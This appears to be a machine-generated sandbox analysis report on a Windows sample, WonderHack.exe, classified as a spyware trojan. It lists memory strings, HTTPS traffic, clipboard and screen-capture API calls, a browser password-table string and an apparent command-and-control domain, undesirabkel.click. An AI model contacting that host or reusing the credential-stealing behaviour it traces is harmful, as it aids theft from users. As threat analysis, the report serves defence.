Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: WonderHack.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: WonderHack.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: WonderHack.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: WonderHack.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: WonderHack.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: WonderHack.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: WonderHack.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: WonderHack.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: WonderHack.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: WonderHack.exe, 00000003.00000003.2113786054.000000000532F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000002.2216284004.0000000002C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/3
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/api
Source: WonderHack.exe, 00000003.00000003.2113186006.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apid
Source: WonderHack.exe, 00000003.00000002.2216045387.0000000002C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/apiteCm
Source: WonderHack.exe, 00000003.00000003.2189316643.0000000002C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click/x
Source: WonderHack.exe, 00000003.00000002.2217348054.00000000053A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://undesirabkel.click:443/apiicrosoft
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: WonderHack.exe, 00000003.00000003.2115368763.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: WonderHack.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: WonderHack.exe, 00000003.00000003.2064794133.0000000005357000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064652146.000000000535A000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2064714003.0000000005357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: WonderHack.exe, 00000003.00000003.2115066088.000000000564D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.30.13:443 -> 192.168.2.5:49714 version: TLS 1.2

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_00431B10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00431B10

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_00431B10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00431B10

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_00431D10 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00431D10

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_00191000	0_2_00191000
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_0019F555	0_2_0019F555
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B7792	0_2_001B7792
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001B5C5E	0_2_001B5C5E
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001A9CC0	0_2_001A9CC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 0_2_001A3FB2	0_2_001A3FB2
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00191000	3_2_00191000
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0019F555	3_2_0019F555
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B7792	3_2_001B7792
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001B5C5E	3_2_001B5C5E
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001A9CC0	3_2_001A9CC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_001A3FB2	3_2_001A3FB2
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043A0D0	3_2_0043A0D0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004368A0	3_2_004368A0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00426230	3_2_00426230
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040D35C	3_2_0040D35C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00436BF0	3_2_00436BF0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043DBB0	3_2_0043DBB0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040E465	3_2_0040E465
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043E540	3_2_0043E540
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00421550	3_2_00421550
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00415640	3_2_00415640
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042BF45	3_2_0042BF45
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00410F71	3_2_00410F71
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00408720	3_2_00408720
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041D840	3_2_0041D840
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041A800	3_2_0041A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043A800	3_2_0043A800
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043B813	3_2_0043B813
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00419820	3_2_00419820
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041683F	3_2_0041683F
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043483C	3_2_0043483C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004220C0	3_2_004220C0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004380C5	3_2_004380C5
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004460D5	3_2_004460D5
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004230E0	3_2_004230E0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004270F9	3_2_004270F9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00418095	3_2_00418095
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042C894	3_2_0042C894
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D140	3_2_0043D140
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040B14F	3_2_0040B14F
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00403960	3_2_00403960
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00405970	3_2_00405970
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040C97C	3_2_0040C97C
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00435135	3_2_00435135
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004061D0	3_2_004061D0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042C9DA	3_2_0042C9DA
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042C9E9	3_2_0042C9E9
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043E1F0	3_2_0043E1F0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042C984	3_2_0042C984
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004259B0	3_2_004259B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00427A40	3_2_00427A40
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D240	3_2_0043D240
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00414A50	3_2_00414A50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041C205	3_2_0041C205
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041720B	3_2_0041720B
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00408A20	3_2_00408A20
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041E230	3_2_0041E230
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041AAE0	3_2_0041AAE0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042C289	3_2_0042C289
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00409290	3_2_00409290
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00411A94	3_2_00411A94
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040F2A0	3_2_0040F2A0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00417B75	3_2_00417B75
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00404310	3_2_00404310
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00431B10	3_2_00431B10
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0040AB20	3_2_0040AB20
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D320	3_2_0043D320
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042A3B0	3_2_0042A3B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D3B0	3_2_0043D3B0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00407440	3_2_00407440
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00428C46	3_2_00428C46
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00404C50	3_2_00404C50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041DC50	3_2_0041DC50
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043D450	3_2_0043D450
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00423C60	3_2_00423C60
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004164E0	3_2_004164E0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004374F0	3_2_004374F0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041D560	3_2_0041D560
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00421D10	3_2_00421D10
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043A510	3_2_0043A510
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00427D94	3_2_00427D94
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00425640	3_2_00425640
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00406660	3_2_00406660
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00419605	3_2_00419605
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00405E30	3_2_00405E30
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004266C0	3_2_004266C0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042FEC0	3_2_0042FEC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_004226D3	3_2_004226D3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00437EA0	3_2_00437EA0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0043DEB0	3_2_0043DEB0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00402F40	3_2_00402F40
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041F700	3_2_0041F700
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00409710	3_2_00409710
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0041DFC0	3_2_0041DFC0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_0042DFC3	3_2_0042DFC3
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00435FF0	3_2_00435FF0
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00423FF1	3_2_00423FF1
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: 3_2_00437790	3_2_00437790

Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 00414A40 appears 63 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 001A80F8 appears 42 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 001A0730 appears 38 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 00407FF0 appears 45 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 0019FA60 appears 100 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 001ACFD6 appears 40 times
Source: C:\Users\user\Desktop\WonderHack.exe	Code function: String function: 0019FAE4 appears 32 times

Source: WonderHack.exe

Static PE information: invalid certificate

Source: WonderHack.exe, 00000000.00000000.2007069720.000000000021C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000000.00000002.2015411906.0000000004687000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs WonderHack.exe
Source: WonderHack.exe, 00000003.00000003.2014641668.000000000464A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs WonderHack.exe
Source: WonderHack.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs WonderHack.exe

Source: WonderHack.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: WonderHack.exe

Static PE information: Section: .bss ZLIB complexity 1.0003372061965812

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/1@1/1

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 3_2_00436BF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00436BF0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5272:120:WilError_03

Source: WonderHack.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WonderHack.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WonderHack.exe, 00000003.00000003.2065372993.0000000005329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2091096251.000000000532D000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000003.00000003.2065064798.0000000005345000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\WonderHack.exe

File read: C:\Users\user\Desktop\WonderHack.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"
Source: C:\Users\user\Desktop\WonderHack.exe	Process created: C:\Users\user\Desktop\WonderHack.exe "C:\Users\user\Desktop\WonderHack.exe"	Jump to behavior

Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WonderHack.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: WonderHack.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
